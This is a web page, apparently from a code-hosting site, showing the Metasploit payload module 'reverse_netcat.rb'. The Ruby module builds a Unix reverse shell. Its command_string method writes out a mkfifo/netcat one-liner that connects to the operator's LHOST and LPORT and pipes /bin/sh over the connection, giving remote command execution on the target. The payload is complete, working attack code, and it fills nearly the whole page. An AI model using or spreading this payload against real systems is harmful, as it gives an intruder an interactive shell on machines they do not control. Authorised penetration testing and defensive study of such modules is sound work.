Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_netcat.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse TCP (via netcat)',16'Description' => 'Creates an interactive shell via netcat',17'Author' =>18[19'm-1-k-3',20'egypt',21'juan vazquez'22],23'License' => MSF_LICENSE,24'Platform' => 'unix',25'Arch' => ARCH_CMD,26'Handler' => Msf::Handler::ReverseTcp,27'Session' => Msf::Sessions::CommandShell,28'PayloadType' => 'cmd',29'RequiredCmd' => 'netcat',30'Payload' =>31{32'Offsets' => { },33'Payload' => ''34}35))36register_advanced_options(37[38OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),39OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])40]41)42end4344#45# Constructs the payload46#47def generate(_opts = {})48vprint_good(command_string)49return super + command_string50end5152#53# Returns the command string to use for execution54#55def command_string56backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))57"mkfifo /tmp/#{backpipe}; #{datastore['NetcatPath']} #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"58end59end606162